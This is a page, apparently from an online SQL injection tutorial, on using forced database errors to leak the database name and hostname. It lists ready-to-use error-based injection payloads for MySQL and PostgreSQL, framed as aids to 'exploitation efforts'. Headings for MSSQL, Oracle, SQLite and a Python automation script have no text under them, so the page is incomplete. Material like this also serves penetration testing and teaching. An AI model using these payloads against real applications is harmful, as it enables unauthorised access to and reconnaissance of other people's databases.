ποΈExtracting Database Name and Hostname Using Forced Errors
These advanced error-based SQL injection techniques, you can extract crucial information such as the database name and hostname, which can further aid in your exploitation efforts.
MySQL
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@hostname), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --
PostgreSQL
' AND 1=CAST((SELECT current_database()) AS INT) --
' AND 1=CAST((SELECT inet_server_addr()) AS INT) --
MSSQL
Oracle
SQLite
Python Script to Automate the Process
PreviousAdvanced Methods to Forcefully Generate Errors on Various DBMSNextSome More Advanced Payloads and Explanation.
Last updated